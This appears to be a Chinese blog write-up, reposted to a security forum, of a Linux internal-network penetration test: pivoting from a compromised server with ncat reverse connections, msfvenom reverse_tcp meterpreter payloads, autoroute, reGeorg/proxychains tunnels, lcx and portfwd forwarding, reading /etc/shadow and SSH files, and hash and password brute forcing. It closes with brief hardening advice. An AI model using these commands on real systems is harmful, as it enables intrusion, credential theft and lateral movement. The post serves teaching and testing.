

■■■nmask■■■■https://thief.one/2017/08/09/2/

前段时间做了一次不算成功也不算完整的linux内网渗透，不算成功是因为并没有拿下内网中其他服务器的权限，不算完整是因为由于某些原因测试被迫暂时中止。虽然这次

网上关于内网渗透的资料很多，我在做测试之前也是翻阅了很多资料。本篇标题突出linux，是因为本次测试不涉及windows系统，当然linux与windows内网渗透的原理差不

收集测试网络环境

当我们拿到一台目标内网服务器，或者说肉鸡服务器，首先要做的就是收集信息。而在我看来需要收集的信息中，最重要的之一便是肉鸡的网络环境。

实验环境

首先介绍下本次测试的服务器环境：

- 攻击机Mac：110.xx.xx.xx 外网
- 肉鸡centos：192.168.16.x 目标内网16网段系统
- 内网渗透范围：192.168.17.0/24 目标内网17网段系统

本次测试模拟假设：由于肉鸡服务器上对外开放了存在漏洞的web应用，被入侵植入webshell。

本次测试目的：通过肉鸡服务器上的shell，深入渗透内网17网段的服务器。

收集测试哪些网络数据？

ok，目前我已经拥有了肉鸡的shell，那么该收集肉鸡服务器的哪些网络环境呢？又该如何去测试？我认为至少要收集以下几点网络环境信息：

- 肉鸡服务器与外网的连通性
- 肉鸡服务器与内网其他网段的连通性
- 肉鸡服务器与外网之间是否有端口访问限制
- 肉鸡服务器与内网其他网段之间是否有端口访问限制

注：连通性主要是指能否ping通，需要双方互相ping测试；端口访问限制，指的是目标网络边界是否有堡垒机或者防火墙，对进出的端口是否有做限制。

端口访问限制测试

ping测试这里不介绍了，主要说下如何测试端口访问限制，可以使用的工具如下：

- curl、wget（可连接web服务，主要为80、443、8000+端口）
- telnet（可主动连接指定ip的指定port）
- nmap（可扫描端口，open或者filter）
- ncat（可以创建端口监听，也可以主动连接）
- python（可主动创建端口监听）
-

在测试端口访问限制前，我们先要搞清楚当前的网络环境。本次测试中，攻击机在外网而肉鸡在内网，因此正常情况下攻击机是无法直接访问到肉鸡上某个端口的（需要网络

反向连接测试

我们在测试端口访问限制时，首先可以利用ncat在攻击机上监听一个端口。

```
ncat -l -p 9999
```

然后利用ncat或者telnet等工具在肉鸡上尝试连接，我称之为反向连接测试。

```
ncat 110.xx.xx.xx 9999
```

注：监听的端口可以随机选取，尽量选取多个端口尝试多次；如果肉鸡能够访问攻击机的任何端口，说明目标网络边界没有对出方向的连接做限制，了解这方面的信息对后面

正向连接测试

我们也可以在肉鸡上监听一个端口，攻击机上尝试连接（这里连接的是肉鸡的外网ip地址，肉鸡对外开放的web应用肯定是以一个外网ip或者域名的形式存在，而该ip在本次尝试连接肉鸡外网地址的端口，意义在于有些粗心的管理员会在网络设备上设置全端口映射，也就是说肉鸡上监听任何端口都能映射到网络边界设备的相同端口上，那么这跟

收集服务器信息

收集信息可以说是渗透测试的第一步，内网渗透也一样，收集的服务器信息越多，渗透的成功率就越大。

查看系统内核

linux系统上查看内核版本如下：

```
lsb_release -a
```

一般系统的入侵途径是先提权，而提权可以通过linux内核漏洞进行，因此可以先查看linux内核版本，然后根据内核[寻找exp的网站](#)，上传exp进行提权。由于本次测试不涉及

查看操作系统位数

linux系统上查看位数如下：

```
getconf LONG_BIT
```

说明：知道系统是32位还是64位对后期生成msf木马有帮助。

系统敏感信息

收集一些系统相关的敏感信息，比如账号密码、日志、历史命令、ssh文件等。

```
/etc/shadow
/etc/passwd
/var/log
history
.ssh
.....
```

web敏感信息

如果服务器存在web应用，可以查看web目录下是否存在敏感信息，比如连接数据库的配置文件等等。

内网扫描

当信息收集完成后，可以尝试扫描一下内网的机器，比如主机存活扫描、端口扫描、arp扫描等。端口扫描可以使用nmap、msf等工具，但如果服务器上没有安装这些工具，无论是端口转发扫描还是代理扫描，原理都是打通攻击机（外网）与肉鸡（内网）的连通性，即让攻击机可以直接访问到肉鸡所在的内网资源。这里的连接不借助于目标网络

端口转发

想要达到以上所介绍的彼此“直接”的连接，我们需要一个中间的桥梁，来传递内外网（攻击机与肉鸡）之间的数据。搭建这种桥梁的方式有很多，我们首先可以想到端口转发

端口转发的工具：lcx、meterpreter等，具体用法后面会介绍

端口转发类型：tcp端口转发、http转发、ssh转发等

tcp端口转发

本机转发：攻击机上监听2222、3333端口，肉鸡上连接攻击机的2222端口，并转发肉鸡22端口。

转发连接原理：

```
■■22■■<-->■■■■■■■■<-->■■■■■■■■<-->■■■■2222■■■■<-->■■■■■■■■<-->■■■■3333■■
```

注：此时我们去连接攻击机的3333端口，就相当于连接了肉鸡的22端口。

远程转发：攻击机上监听2222、3333端口，肉鸡上连接攻击机的2222端口，并转发内网目标服务器的22端口。（前提是肉鸡能够连接目标服务器的22端口）

转发连接原理：

```
■■■■■■■■22■■<-->■■■■■■■■<-->■■■■■■■■<-->■■■■2222■■■■<-->■■■■■■■■<-->■■■■3333■■
```

注：此时我们去连接攻击机的3333端口，就相当于连接了目标服务器的22端口。

说明：从上面的连接过程不难看出，端口转发比较难以防范的原因就在于，攻击机上监听的端口是随机的，不可预知的，因此不可能事先在堡垒机或者防火墙上做出方向的策略

http转发

有些安全意识强的管理员，会对一些服务器做禁止访问外网的策略，即服务器禁止连接任何外网的端口。此时普通的tcp端口转发就没有效果了，因为转发的前提是要能互相访问，所以http转发

```
■■web■■(80)<-->■■■■■■■■(80)<-->■■■■■■■■
```

注：这里之所以能够连通，是借助了服务器上的web服务，以及网络边界设备的映射功能。

说明：虽然肉鸡不能访问外网任何端口，但只要它对外提供web服务，就说明它还能跟外界通信，只不过这种通信局限于web服务端口中，并且肉鸡不是直接跟攻击机通信，而是通过web服务

代理扫描内网

以上介绍了几种端口转发的使用以及原理，从中我们不难看出端口转发固然厉害，但也很局限，因为每次都只能转发一个ip的一个端口，对于扫描来说，并不是最好的选择方

代理扫描同样可以分为tcp代理扫描、http代理扫描。

http代理转发

如果目标服务器有web系统，可以使用Regeorg + proxychains。

工具下载：[reGeorg](#)、[proxychains](#)

将reGeorg的tunnel文件上传到肉鸡服务器到网站目录下，攻击机执行：

```
python reGeorgSocksProxy.py -p 2333 -u http://test.com/tunnel.php
```

然后修改proxychains.conf 配置文件

```
vim /etc/proxychains.conf mac~/.proxychains/proxychains.conf ,
```

在最后一行添加socks5 127.0.0.1 2333(与regeorg设置的端口相同)

最后在攻击机使用扫描工具时，可以在执行的命令前加proxhchains4, 比如：

```
proxychains4 nmap -sT -Pn -n 192.168.16.0/24
```

注：此方案适合攻击者与肉鸡服务器都在各自内网环境，攻击者可以访问到目标服务器的http服务，通过该http服务进行代理转发（速度较慢）。

tcp代理转发

思路：通过metasploit木马反弹一个肉鸡的meterpreter shell到攻击机上，然后在meterpreter shell上设置路由，我们便可以在攻击机上直接扫描肉鸡所在的网段服务器（这里是可以跨网段扫描的）。

<h6>生成msf木马</h6>

生成木马：

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=ip LPORT=8000 -f elf > shell_8000.elf
```

由于攻击机无法访问肉鸡的端口，而肉鸡可以访问攻击机的端口，因此生成一个反向的木马。

<h6>反弹shell</h6>

攻击机运行msfconsole，使用exloit/multi/handler模块，set payload

linux/x86/meterpreter/reverse_tcp跟生成木马时用的payload一样。LPORT设置成木马将要连接的端口，运行后会在攻击机上监听一个端口，等待木马链接。此时将shell_8000.elf上传到肉鸡服务器上，添加权限后运行木马将会主动连接上攻击机监听的端口，并在攻击机上获取一个meterpreter shell。

<h6>设置路由</h6>

上一步获取到了一个session，这个session是攻击机与肉鸡相互连接的会话。

查看下肉鸡的网络情况：

```
run get_local_subnets
```

```
meterpreter > run get_local_subnets

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 192.168.16.0/255.255.255.0
```

添加路由：

```
run autoroute -s 192.168.16.0/24
```

查看路由：

```
run autoroute -p
```

```
meterpreter > run autoroute -p

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute
[!] Example: run post/multi/manage/autoroute OPTION=value [...]

Active Routing Table
=====

Subnet          Netmask          Gateway
-----
13.0.0.0        255.0.0.0        Session 12
128.0.0.0        255.255.255.0    Session 12

meterpreter > 
```

nMask' Blog thief.one

一般来说，这里设置好路由就可以了，但是有些时候会发现在meterpreter中有效果，但是在msf中失效了，因此可以在msf中再设置一次。（但前提是meterpreter会话要查看路由：

```
meterpreter > background
[*] Backgrounding session 12...
msf auxiliary(mysql_login) >
msf auxiliary(mysql_login) >
msf auxiliary(mysql_login) >
msf auxiliary(mysql_login) >
msf auxiliary(mysql_login) > route print

IPv4 Active Routing Table
=====

Subnet          Netmask          Gateway
-----
13.0.0.0        255.0.0.0        Session 12
128.0.0.0        255.255.255.0    Session 12

[*] There are currently no IPv6 routes defined.
msf auxiliary(mysql_login) > 
```

nMask' Blog thief.one

这里已经是添加好的结果，添加路由命令：

```
msf exploit(handler) > route add 192.168.16.0 255.255.255.0 12
msf exploit(handler) > route add 192.168.17.0 255.255.255.0 12
```

注意：12表示session id，由于我们需要访问17网段，因此这里也要添加17网段的路由。

说明：以上2条路由的意思，是攻击机如果要去访问17或者16网段的资源，其下一跳是session12，至于什么是下一条这里不多说了，反正就是目前攻击机可以访问内网资源

tcp全局代理转发

通过以上设置，在msf中可以访问内网资源了，但也仅限在msf中可以访问。如果想要其他工具也能使用代理，则要设置全局代理，这需要使用msf框架中的socks4a工具代理，使用方法跟http代理类似。

注：此代理不是http代理，是tcp代理，因此需要目标服务器或者攻击者服务器，有一方在外网的环境，不然木马端口无法连接，也就无法获取meterpreter shell。

metasploit操作可参考：[【渗透神器系列】Metasploit](#)

端口扫描工具

推荐使用metasploit进行tcp代理转发后，利用msf上面整合的很多扫描模块，直接进行扫描。
扫描模块：

- auxiliary/scanner/portscan 端口扫描
- scanner/portscan/syn SYN端口扫描
- scanner/portscan/tcp TCP端口扫描
-

除此之外，也可以使用nmap等扫描工具，结合tcp全局代理转发即可。

针对22端口的入侵

扫描出内网服务器端口后，我们可以首先选择开放22端口的服务器进行入侵尝试。攻击22端口通常有2种方法，第一种是先读取肉鸡明文密码，再利用明文密码尝试登陆；第

尝试hash破解

如果权限足够，我们可以顺利读取/etc/shadow文件的内容，然而这是密文的，因此可以尝试用工具破解。

- [John破解hash](#)
- [Hashcat](#)

注：windows下可以使用[mimikatz](#)

说明：获取linux账号的明文密码作用很大，因为内网环境管理员可能就那么几个，不同服务器所设置的密码也有可能相同，因此可以使用获取的服务器密码去尝试登陆其余的。

字典暴力破解

这个没啥好说的，主要看字典是否强大，以及是否有防止爆破限制。
工具：

- hydra
- msf上的相应模块

针对其他端口的入侵

除了22端口外，21 (ftp)、3306 (mysql)、1433 (mssql) 等都可以通过暴力破解的方式。那么其他段端口呢？比如445、443等，这些则可以通过相应的漏洞进行攻击。

针对web服务的入侵

除了以上的端口外，还有一类端口比较特殊，那就是web服务类的端口，比如80、443、8000+等。由于这些端口上存在web应用，而web应用又是容易存在漏洞的点。因此

端口转发的逆袭

前文介绍了端口转发技术，但在扫描环节中我并没有使用这种方案。那么是不是说端口转发在内网渗透中没有用武之地呢？

事实并不是这样，内网扫描过后的漏洞利用攻击阶段，才是端口转发真正的舞台。在此阶段，我们可以利用端口转发，将某个存在漏洞的服务器的某个端口转发出来，单独攻

meterpreter实现端口转发

在meterpreter shell中输入：

```
meterpreter > portfwd add -l 55555 -r 192.168.16.1 -p 3306
```

说明：表示将192.168.16.1服务器上的3306端口转发到本地（攻击机）的55555端口，然后我们可以在本地运行mysql -h 127.0.0.1 -u root -P 55555 -p 去登陆内网服务器的mysql。其他端口如ssh、ftp等都类似，这个过程跟msf代理很像。

案例

将肉鸡的22端口转发到攻击机的2222端口，看一下连接情况。
发现攻击机上监听了2222端口，连接到了本机另外一个高端口。

```

➔ ~ netstat -an | grep 2222
tcp4      0      0 127.0.0.1.2222      127.0.0.1.55244    ESTABLIS
HED
tcp4      0      0 127.0.0.1.55244    127.0.0.1.2222    ESTABLIS
HED
tcp4      0      0 *.2222             *.*                LISTEN
nMask' Blog thief.one

```

肉鸡的22端口也连接到了肉鸡自己的一个高端口

```

tcp      0      0 127.0.0.1:22      127.0.0.1:34038
nMask' Blog thief.one

```

那么两台服务器之间的两个高端口之间是怎么连接的，我想肯定是利用meterpreter会话。因此meterpreter会话就相当于一个中间人，传递原本无法传递的消息。

lcx端口转发

攻击机:

```
lcx -listen 2222 3333 # 2222 3333
```

肉鸡：

```
lcx -slave 110.1.1.1 2222 127.0.0.1 3389
```

110.1.1.1为攻击机外网ip，2222为转发端口，127.0.0.1为肉鸡内网ip，3389为远程终端端口。

内网嗅探

windows下可以使用cain，linux下可以使用msf中的模块。当然一般情况下，最好不要用内网嗅探，因为动静太大，而且可能会影响内网网络。

linux内网安全建议

说了这么多内网渗透的套路，按惯例最后该给出内网安全建设的几点建议了，当然只是个人看法。

- 每台服务器上安装waf或者云盾，监控并拦截木马程序的运行
- 监控服务器上开启的新端口，查看其连接情况，是否有异常连接
- 服务器及时更新补丁
- 服务器上运行的应用给予低权限

点击收藏 | 2 关注 | 1

[上一篇：《安天365安全研究》-2017-07](#) [下一篇：ThinkPHP5.0.10-3....](#)

1. 2 条回复



[小虾米](#) 2017-08-22 10:01:00

感谢分享！！！！

0 回复Ta



[simeon](#) 2017-08-23 03:04:52

感谢分享！！！！

0 回复Ta

[登录](#) 后跟帖

[先知社区](#)

[现在登录](#)

[热门节点](#)

[技术文章](#)

[社区小黑板](#)

[目录](#)

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)